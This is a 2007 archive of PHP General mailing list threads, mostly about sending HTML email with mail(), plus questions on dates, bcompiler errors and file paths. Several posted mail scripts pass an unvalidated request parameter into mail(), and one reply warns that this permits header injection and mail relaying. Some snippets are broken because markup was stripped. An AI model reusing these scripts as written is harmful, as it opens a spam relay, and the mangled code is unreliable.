[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Instruct ICC

> Still parsing as text and not html!

You should be able to do this in both PHPmailer and "Example 1127. Sending HTML 
email" before I finish reading the 60 emails I have remaining to catch up on 
this list.  Including any download.

_
Boo! Scare away worms, viruses and so much more! Try Windows Live OneCare!
http://onecare.live.com/standard/en-us/purchase/trial.aspx?s_cid=wl_hotmailnews
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Instruct ICC

> We are sending email now,
> But we are back to the original problem,
> No hyperlink!
>
> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers .= "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP v".phpversion().$eol;
> $msg .= "--".$htmlalt_mime_boundary.$eol;
> $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body.= 'link ';
> $msg .= $body.$eol.$eol;
> mail($email, $subject, $msg, $headers);
>
>
> Yields
>
> Parse error: parse error, unexpected T_STRING in
> /home/zoneof5/public_html/index.php on line 76

If you can't deal with Example 1127. Sending HTML email 
http://php.net/manual/en/function.mail.php
Check out http://phpmailer.sourceforge.net/ and 
http://phpmailer.sourceforge.net/tutorial.php#4

_
Boo! Scare away worms, viruses and so much more! Try Windows Live OneCare!
http://onecare.live.com/standard/en-us/purchase/trial.aspx?s_cid=wl_hotmailnews
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Semi-newbie Question .... streams ...

2007-11-15 Thread Jim Lucas

Per Jessen wrote:

Jim Lucas wrote:


If this is an EXE, I assume it is in binary format?

If so, would not your serial number have been compiled into the
software?

Wouldn't a simple search/replace fail in this case?


If the string (the serial number) is unique, and all in one place, a
simple search/replace will do fine. 



/Per Jessen, Zürich



Well, then in this case, I would get the two strings that you want to work with and then do 
something like this.  I would try and keep the binary organized in such a way that the marker string 
would be at the beginning of the file.  One problem you might run into doing it this way is that you 
might catch the marker string on your chunk block break point.  In that case, it will not work.


By no means is this a complete script, or should it be used without some 
additional sanity checks

USE AT YOUR OWN RISK



--
Jim Lucas

   "Some men are born to greatness, some achieve greatness,
   and some have greatness thrust upon them."

Twelfth Night, Act II, Scene V
by William Shakespeare

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 11:10 AM, Stut <[EMAIL PROTECTED]> wrote:
> Daniel Brown wrote:
> > On Nov 15, 2007 9:41 AM, Brad <[EMAIL PROTECTED]> wrote:
> >> Beginning with
> >> $headers .= "--".$htmlalt_mime_boundary.$eol;
> >> It starts to read it as text and not html??
> >>
> >> Could this be a server side problem?
> >
> > Negative.  It's client-side error E304, resulting from a
> > null-pointer exception between the chair and keyboard.
>
> Usually abbreviated to PEBKAC if I'm not mistaken.

I'm afraid we're going to have to do a stack trace.

[Snaps on rubber glove]

Just try to relax.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Newbie question - current date - time

2007-11-15 Thread Jeremy Mcentire

On Nov 14, 2007, at 4:21 PM, Jürgen Wind wrote:

better use Date() in js ...
tedd-2 wrote:

Current date/time for whom?
For your server, use php's date().
For the user, use javascript's date().
It's so cool to be multilingual.  :-)
Cheers,
tedd


I don't know that that's better.  Then, suddenly, on an otherwise  
simple website, you're requiring a user enable javaScript just to get  
a date.  And it depends upon what the date is for.


$comment = db_query("SELECT `comment`, `date` FROM `blog` WHERE 1;");

$days = floor((time() - strtotime($comment->date)) / (60 * 60 * 24));
echo "This comment was written {$days} days ago.";

This wouldn't work as expected with js's Date() across time zones.

As far as newbie questions -- I don't consider myself new to PHP at  
all; yet, when dealing with time issues from all over the globe and  
processing overtime pay rates based upon laws local to the employee  
and to the business's main office, things got quite complicated.   
Especially considering the different computers were located in  
different time zones all together. It took a bit of thought and some  
testing since the existant code wasn't storing things in UTC, but  
relative to the local server.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread M. Sokolewicz

Brad,
please, try solving these kinds of things yourself. Especially seen as 
the parse error which you posted here was already found and shown to you 
in one of your earlier posts to this list (if I'm not mistaken).


So, your problem is:
 $body.= 'http://www.zoneofsuccessclub.com'">link ';

Try to spot the problem here. I'll give you a hint: it has to do with 
single-quotes.


Right, I hope you've guessed it by now, but in case you haven't, let's 
dissect the problem:

'http://www.zoneofsuccessclub.com = unknown [1]?
'">link ' = T_STRING

So, we basically have 2 strings, with a bit of weirdness sandwiched in 
between them. To the parser: this might be several constants joined 
together using the . (concatenation operator). But: it can't be, because 
it has a : and a / in it. So... no, the parser has not a clue what this 
might be, so it spits out an error.
So, how do you solve your problem; well, first of all, YOU know it's 
supposed to be a string, so let's make it one:

 $body.= 'http://www.zoneofsuccessclub.com'.'">link ';
That would work, but it's needlessly complicated, we don't need to glue 
3 strings together if we can do it all in 1 string aswell. So let's 
change it to:

 $body.= 'http://www.zoneofsuccessclub.com";>link ';
whoa! it works!

Next time Brad, please try to take a look yourself at the line the error 
indicates (and the lines around it aswell) and TRY to figure out what 
MIGHT be wrong.


- Tul

P.S. to [EMAIL PROTECTED], if you try saying "These are the same 
people who again and again are not the ones who answer the questions, 
yet try to take credit by belittling the answer with gibberish." about 
me once more, I will get very pissed. I spend a lot of time trying to 
get people to code efficiently and in a readable way. If I post to the 
list trying to bring clarity into your code, then there is a very good 
reason for it. I don't belittle your answer, and I don't appreciate such 
bullcrap.


Brad wrote:

We are sending email now,
But we are back to the original problem,
No hyperlink!

  $email = $_REQUEST['email'] ;
  $fromaddress .= '[EMAIL PROTECTED]';
  $fromname .= 'Zone of success Club';
  $eol="\r\n";
  $headers .= "From: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
  $headers .= "X-Mailer: PHP v".phpversion().$eol;
  $msg .= "--".$htmlalt_mime_boundary.$eol;

  $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
  $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
  $body.= 'http://www.zoneofsuccessclub.com'">link ';
  $msg .= $body.$eol.$eol;
  mail($email, $subject, $msg, $headers);


Yields

Parse error: parse error, unexpected T_STRING in
/home/zoneof5/public_html/index.php on line 76

-Original Message-
From: Daniel Brown [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, November 14, 2007 11:09 AM

To: Brad
Cc: [EMAIL PROTECTED]; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad,

That code is a mess and highly incorrect, even at a novice level.
Let me give you a hand

On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:

I implemented the proposed code, and emails are not being sent?

Any suggestions?

Here is the code

".$eol;
  $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
  $headers .= "X-Mailer: PHP ".phpversion().$eol;
  $msg .= "--".$htmlalt_mime_boundary.$eol;
  $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
  $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
  $body.='link ';
  $msg .= $body.$eol.$eol;
  mail($to, $subject, $msg, $headers);

?>


[snip]

1.) You reference $to in the mail() function, but there is no $to
defined.  Instead, either change $email to $to or vice-versa.
2.) You don't need to start the first line of a variable off with
a .= --- this will append to an existing variable of the same name, if
it exists.
3.) You change your quoting style where it's not necessary.  All
$msg lines should be using double quotes in your code above.
4.) ".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);
?>

Prior to asking a bunch of questions on the list, which seriously
puts you at risk for being flamed or ignored, check out these
references:
http://www.bath.ac.uk/bucs/ema

Re: [PHP] Generating sequence of AlphaNumber

2007-11-15 Thread Richard Heyes
I am having trouble generating a sequence of numbers from the following start 
value:

AX0001

what I have done so far is loop through each character and check if its a 
alphabet and separating the characters and digits.


But when I increment the digits, its strips of the leading zeros. How can I 
get a sequence of values like:


AX0001
AX0002
AX0003
AX0004
.
AX0099
AX0100

and so on ?


';
}
?>

--
Richard Heyes
+44 (0)800 0213 172
http://www.websupportsolutions.co.uk

Knowledge Base and HelpDesk software
that can cut the cost of online support

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] How does the PHP website colorize the code snippets?

2007-11-15 Thread Per Jessen
Daevid Vincent wrote:

> I want to put a code snippet section on my site and want to colorize
> them like the user comments on any PHP site page.
> 
> http://www.php.net/manual/en/language.operators.arithmetic.php
> 
> What's the easiest way to do that?

php -s yourcode.php


/Per Jessen, Zürich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Bcompiler errors

2007-11-15 Thread Mike Yrabedra
on 11/15/07 11:17 AM, Colin Guthrie at [EMAIL PROTECTED] wrote:

> Mike Yrabedra wrote:
>> Hello,
>> 
>> 
>> I am getting these errors all the time now, on multiple scripts at random
>> times.
>> 
>> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
>> 0
>> 
>> This tells me it has to be PHP in some fashion.
>> 
>> Only thing I have found is this...
>> 
>> http://pecl.php.net/bugs/bug.php?id=10742
>> 
>> I am unsure as to where I need to go from here?
>> 
>> I am concerned about putting this into production if it happens this often.
>> 
>> Any ideas?
>> 
>> 
>> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
>> 
>> Apache 2.2.4
>> 
> 
> 
> Do you have to bytecompile your scripts? You're using apache, so it's
> not a gtk exectutable or such like, so I can only assume you're wanting
> to sell/supply your code to third parties? If not then simply don't
> bytecompile ;)
> 
> Col


I am not, that is why it is so weird.

It is straight PHP code.


-- 
Mike Yrabedra B^)>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink (resent)

2007-11-15 Thread Per Jessen
Brad wrote:

> Why is php refusing to parse as html?

Here your code cut down to what you need:

$headers  = "From: \"".$fromname."\" <".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$headers .= "Content-Transfer-Encoding: 8bit".$eol;

$body = "http://www.zoneofsuccessclub.com\";>link \n";

mail($email, $subject, $body, $headers);




/Per Jessen, Zürich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
No problem!

-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 10:37 AM
To: Brad
Cc: php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
> Thank you so much!
> 
> It worked like a champ first try!
> I would have never seen that and have been looking everywhere on the net
for
> a working example!
> 
> Funny thing is, right after is work perfectly twice, my database crashed!
> 
> But, this is the technology we play with!
> 
> Problem solved and I am going to post this code on the php website for
> others to reference!

If you do please don't mention me. This might work but as I said in my 
email (which you clearly read very carefully!) it's not the right way to 
do it.

Please pay particular notice to my last "important note" below... THIS 
CODE IS NOT SECURE. It's easily used as a mail relay script, so please 
don't use it in production or $DEITY will kill a bunch of kittens.

-Stut

-- 
http://stut.net/

> -Original Message-
> From: Stut [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, November 15, 2007 10:16 AM
> To: Brad
> Cc: php-general@lists.php.net
> Subject: Re: [PHP] Cannot send a hyperlink
> 
> Brad wrote:
>> No access to the server command line to install it!
>> And, I am into this guy too deep to switch technologies. For the next
time
>> around, no problem, this time I am just trying to get php to do what it
is
>> supposed to do.
> 
> You don't need command line access to install it. PHPMailer consists of 
> PHP only - nothing to install but PHP files. See here: 
> http://phpmailer.sourceforge.net/install.php
> 
>> The suggestion of mime was presented to me from another kind sole trying
> to
>> help that knows more than I and recommended on other help files.
>>
>> Why is php refusing to parse as html?
> 
> And here lies the basic problem. PHP is *not* the thing that's refusing 
> to parse it as HTML. Since you don't know that you really should do a 
> lot of reading before you try sending HTML emails without using 
> something like PHPMailer.
> 
> For beeps and farts I've "fixed" your code, but even though it will now 
> "work" it is nowhere near the right way to send this type of email, but 
> my life is probably going to be too short to tell you what you could 
> easily find out yourself.
> 
> $email = $_REQUEST['email'];
> $fromaddress = '[EMAIL PROTECTED]';
> $fromname = 'Zone of success Club';
> $eol = "\r\n";
> $headers  = 'From: '.$fromname.' <'.$fromaddress.'>'.$eol;
> $headers .= 'Reply-To: '.$fromname.' <'.$fromaddress.'>'.$eol;
> $headers .= 'Return-Path: '.$fromname.' <'.$fromaddress.'>'.$eol;
> $headers .= 'X-Mailer: PHP '.phpversion().$eol;
> $headers .= 'Content-Type: text/html; charset=iso-8859-1'.$eol;
> $headers .= 'Content-Transfer-Encoding: 8bit';
> $subject = 'This is my spam, worship me';
> $body = 'http://www.zoneofsuccessclub.com/";>link';
> mail($email, $subject, $body, $headers);
> 
> Some *important* notes...
> 
> * I defined $subject because it tries to use it.
> * You don't need to provide the MessageID - your mail server will do 
> that for you... correctly.
> * You don't need to add two carriage returns at the end of the headers - 
> PHP will do that for you.
> * This email will be in HTML only which makes it a lot more likely to 
> get flagged as spam.
> * If you're on a unix-based platform you really should be using the 5th 
> parameter to mail, but that's probably going to confuse the hell out of 
> you so I won't mention it. D'oh!
> * This code is not secure. It's trivial to inject headers (and a body 
> too) into the message. You should be validating that $_REQUEST['email'] 
> is a valid email address and just a valid email address.
> 
> -Stut
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

No virus found in this outgoing message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
Not a single reference to sending a hyperlink on that page!

-Original Message-
From: Dimiter Ivanov [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 11:27 AM
To: Brad
Cc: Stut; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

On Nov 15, 2007 5:34 PM, Brad <[EMAIL PROTECTED]> wrote:
> Thank you so much!
>
> It worked like a champ first try!
> I would have never seen that and have been looking everywhere on the net
for
> a working example!
>
> Funny thing is, right after is work perfectly twice, my database crashed!
>
> But, this is the technology we play with!
>
> Problem solved and I am going to post this code on the php website for
> others to reference!
>
> Thank you!
>

I think there is already a good example of sending mails with html :
http://php.net/manual/en/function.mail.php

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

No virus found in this outgoing message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Semi-newbie Question .... streams ...

2007-11-15 Thread Jim Lucas

Paul Farr wrote:

I'm working on one my first PHP projects, and I have extensive
experience with coding, so I know what I want to do is not
outrageous.

The short version is:  I need to master the download stream for a file,
while delivering it to the enduser, I need to change some bytes in the
file data. A simple search and replace. I want to do it in the stream,
don't want to create a new file each time. The data is not a string,
it is in fact a serial number being inserted into an "EXE" download.

I "get" how to do this with ASP, but the active replace in PHP has
me totally lost.

Any hints ?




If this is an EXE, I assume it is in binary format?

If so, would not your serial number have been compiled into the software?

Wouldn't a simple search/replace fail in this case?

--
Jim Lucas

   "Some men are born to greatness, some achieve greatness,
   and some have greatness thrust upon them."

Twelfth Night, Act II, Scene V
by William Shakespeare

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bcompiler errors

2007-11-15 Thread Mike Yrabedra
on 11/15/07 10:55 AM, Daniel Brown at [EMAIL PROTECTED] wrote:

> On Nov 15, 2007 10:31 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
>> 
>> Hello,
>> 
>> 
>> I am getting these errors all the time now, on multiple scripts at random
>> times.
>> 
>> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
>> 0
>> 
>> This tells me it has to be PHP in some fashion.
>> 
>> Only thing I have found is this...
>> 
>> http://pecl.php.net/bugs/bug.php?id=10742
>> 
>> I am unsure as to where I need to go from here?
>> 
>> I am concerned about putting this into production if it happens this often.
>> 
>> Any ideas?
>> 
>> 
>> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
>> 
>> Apache 2.2.4
>> 
>> --
>> Mike Yrabedra B^)>
>> 
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>> 
>> 
> 
> If it's an encoded file, it might be corrupted.  Make sure it was
> uploaded in binary mode, and that there are no trailing whitespaces or
> newlines.
> 


Nope, not encrypted.



Also, reloading the same page almost always fixes the problem and the page
loads.


-- 
Mike Yrabedra B^)>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Bcompiler errors

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 12:36 PM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
> on 11/15/07 11:17 AM, Colin Guthrie at [EMAIL PROTECTED] wrote:
>
> > Mike Yrabedra wrote:
> >> Hello,
> >>
> >>
> >> I am getting these errors all the time now, on multiple scripts at random
> >> times.
> >>
> >> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
> >> 0
> >>
> >> This tells me it has to be PHP in some fashion.
> >>
> >> Only thing I have found is this...
> >>
> >> http://pecl.php.net/bugs/bug.php?id=10742
> >>
> >> I am unsure as to where I need to go from here?
> >>
> >> I am concerned about putting this into production if it happens this often.
> >>
> >> Any ideas?
> >>
> >>
> >> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
> >>
> >> Apache 2.2.4
> >>
> >
> >
> > Do you have to bytecompile your scripts? You're using apache, so it's
> > not a gtk exectutable or such like, so I can only assume you're wanting
> > to sell/supply your code to third parties? If not then simply don't
> > bytecompile ;)
> >
> > Col
>
>
> I am not, that is why it is so weird.
>
> It is straight PHP code.
>
>
> --
> Mike Yrabedra B^)>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

Does the error appear when you execute this via the CLI, or only on the web?

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Sending to Blackberry PIN's

2007-11-15 Thread Alexis

Hi,

I was wondering, is there any way to send an email to a Blackberry PIN, 
using PHP?


Thanks
Alexis

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bcompiler errors

2007-11-15 Thread Mike Yrabedra
on 11/15/07 11:07 AM, Daniel Brown at [EMAIL PROTECTED] wrote:

> On Nov 15, 2007 11:05 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
>> on 11/15/07 10:55 AM, Daniel Brown at [EMAIL PROTECTED] wrote:
>> 
>>> On Nov 15, 2007 10:31 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
 
 Hello,
 
 
 I am getting these errors all the time now, on multiple scripts at random
 times.
 
 Warning: bcompiler: Bad bytecode file format at  in Unknown on line
 0
 
 This tells me it has to be PHP in some fashion.
 
 Only thing I have found is this...
 
 http://pecl.php.net/bugs/bug.php?id=10742
 
 I am unsure as to where I need to go from here?
 
 I am concerned about putting this into production if it happens this often.
 
 Any ideas?
 
 
 P.S. Running PHP 5.2.3 on Mac OS X intel xserve
 
 Apache 2.2.4
 
 --
 Mike Yrabedra B^)>
 
 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 
 
>>> 
>>> If it's an encoded file, it might be corrupted.  Make sure it was
>>> uploaded in binary mode, and that there are no trailing whitespaces or
>>> newlines.
>>> 
>> 
>> 
>> Nope, not encrypted.
>> 
>> 
>> 
>> Also, reloading the same page almost always fixes the problem and the page
>> loads.
>> 
>> 
>> --
>> Mike Yrabedra B^)>
>> 
>> 
>> 
>> 
> 
> Voodoo.
> 
> Are you using XDebug, by chance?


No, I am not using Xdebug


-- 
Mike Yrabedra B^)>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] installing PHP 5.3 on MAC with mysqlnd support

2007-11-15 Thread Philip Thompson
On Nov 15, 2007 10:00 AM, Hodicska Gergely <[EMAIL PROTECTED]> wrote:

> Hi!
>
>
> Can somebody give me some guideline how to install PHP 5.3 to a Mac
> (intel based) with mysqlnd support?
>
> TIA!
>
>
> Best Regards,
> Felhő



Consider using Macports (http://www.macports.org/) to install it. After
installing macports onto your computer, do this in the terminal:

// This will give you the available PHP downloads
> port search php5

// This will give you the available variants (I think)
> port info php5

// For example, to install PHP5 with mysqlnd support, you would do this
(NOTE: this has *not* been tested)
> sudo port install php5 +mysqlnd

Try that. See if it gets you anywhere. If you haven't used Macports
(formally Darwinports) before, do some reading on their website to figure it
out. I think it simplifies the process of building and installing software
on the Mac.

HTH
~Philip


RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Per Jessen
Brad wrote:

> Why is php refusing to parse as html?

Here your code cut down to what you need:

$headers  = "From: \"".$fromname."\" <".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$headers .= "Content-Transfer-Encoding: 8bit".$eol;

$body = "http://www.zoneofsuccessclub.com\";>link \n";

mail($email, $subject, $body, $headers);




/Per Jessen, Zürich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Is there a ' Beginner's ' PHP List

2007-11-15 Thread Philip Thompson
On Nov 15, 2007 9:16 AM, Jason Pruim <[EMAIL PROTECTED]> wrote:

>
> On Nov 15, 2007, at 10:17 AM, Daniel Brown wrote:
>
> > On Nov 14, 2007 10:29 PM, Instruct ICC <[EMAIL PROTECTED]>
> > wrote:
> >> I'm going to have to move this to gmail to keep it threaded better.
> >
> >As long as the subject doesn't change, it works great.
> > Unfortunately, I don't think Gmail uses message IDs for threading.
> >
> > --
> > Daniel P. Brown
> > [office] (570-) 587-7080 Ext. 272
> > [mobile] (570-) 766-8107
> >
> > If at first you don't succeed, stick to what you know best so that you
> > can make enough money to pay someone else to do it for you.
>
> Lets see how good gmail handles the changes to the subject :) All the
> same letters, just added a few spaces. but that's me and my smart ass ;)



Stayed in the thread for me


Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 11:20 AM, Stut <[EMAIL PROTECTED]> wrote:
> Daniel Brown wrote:
> > On Nov 15, 2007 11:10 AM, Stut <[EMAIL PROTECTED]> wrote:
> >> Daniel Brown wrote:
> >>> On Nov 15, 2007 9:41 AM, Brad <[EMAIL PROTECTED]> wrote:
>  Beginning with
>  $headers .= "--".$htmlalt_mime_boundary.$eol;
>  It starts to read it as text and not html??
> 
>  Could this be a server side problem?
> >>> Negative.  It's client-side error E304, resulting from a
> >>> null-pointer exception between the chair and keyboard.
> >> Usually abbreviated to PEBKAC if I'm not mistaken.
> >
> > I'm afraid we're going to have to do a stack trace.
> >
> > [Snaps on rubber glove]
> >
> > Just try to relax.
>
> [Advises Brad to close his eyes and think of England]
>
> -Stut
>
> --
> http://stut.net/
>

[Pulls out his sword, chants the words "oobi flexor gondalis exo"
and conjures up LEVEL 12 warrior.]

Figured if we were going to go OT and role-play, may as well
geekspeak, too.  ;-P

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] I need help handling form posting

2007-11-15 Thread admin
I do this

Example:


";
break;

case "upload":

//Upload function here

$dispay_time = date('is') - $_POST['$click_stamp'];
Echo "File took $dispay_time to upload";
//Time stamp it anyway you want EXAMPLE ONLY!!
break;
}
?>

FOR GODS SAKE DON'T comment on syntax or design. I DO NOT CARE this is a
example ONLY!!!
OF COURSE I LEFT OUT CODE. OF COURSE THIS IS NOT A COPY PASTE AND IT WILL
RUN!!




-Original Message-
From: Jon Westcot [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 4:17 AM
To: PHP General
Subject: [PHP] I need help handling form posting

Hi all:

In my quest to make things seem easier for the user to understand, I'm
trying to retrieve the time that I start posting a very large file via a
form post.  The form action sends it back to itself, which is fine.  It took
me some time to figure out that NOTHING happens on the client until the form
has been completely transmitted to the server.  In my particular case, this
can be a long time, anywhere from 15 to 30 minutes.  I'd like to be able to
notify the user of when the file upload actually began.

Is there a way that I can intercept the click of the "Upload" button,
have it update a field (probably a hidden one) with a date/time stamp, and
then have that value included in the $_POSTed values?  I'm thinking
(fearing, rather) that this is probably all off-topic and probably is best
addressed with some type of JavaScript solution, but it's late, I'm not
thinking clearly, and I've been doing data conversions all day, which is a
sure-fire way to get me emulating some Romero zombies.

Any help you can spare will be greatly appreciated.

Jon

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: file_exists

2007-11-15 Thread Colin Guthrie
Casey wrote:
> I think file_exists returns false for remote files ;)

Even if it did (it doesn't:
http://uk3.php.net/manual/en/wrappers.ftp.php), I'd still rather not let
someone steal my /etc/passwd or /etc/shadow etc. files.

As I said before. Some form of regexp or similar restriction is 100%
necessary before trusting untrustworthy data.

Col

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Dimiter Ivanov
On Nov 15, 2007 5:34 PM, Brad <[EMAIL PROTECTED]> wrote:
> Thank you so much!
>
> It worked like a champ first try!
> I would have never seen that and have been looking everywhere on the net for
> a working example!
>
> Funny thing is, right after is work perfectly twice, my database crashed!
>
> But, this is the technology we play with!
>
> Problem solved and I am going to post this code on the php website for
> others to reference!
>
> Thank you!
>

I think there is already a good example of sending mails with html :
http://php.net/manual/en/function.mail.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Daniel Brown wrote:

On Nov 15, 2007 11:10 AM, Stut <[EMAIL PROTECTED]> wrote:

Daniel Brown wrote:

On Nov 15, 2007 9:41 AM, Brad <[EMAIL PROTECTED]> wrote:

Beginning with
$headers .= "--".$htmlalt_mime_boundary.$eol;
It starts to read it as text and not html??

Could this be a server side problem?

Negative.  It's client-side error E304, resulting from a
null-pointer exception between the chair and keyboard.

Usually abbreviated to PEBKAC if I'm not mistaken.


I'm afraid we're going to have to do a stack trace.

[Snaps on rubber glove]

Just try to relax.


[Advises Brad to close his eyes and think of England]

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Bcompiler errors

2007-11-15 Thread Colin Guthrie
Mike Yrabedra wrote:
> Hello,
> 
> 
> I am getting these errors all the time now, on multiple scripts at random
> times.
> 
> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
> 0
> 
> This tells me it has to be PHP in some fashion.
> 
> Only thing I have found is this...
> 
> http://pecl.php.net/bugs/bug.php?id=10742
> 
> I am unsure as to where I need to go from here?
> 
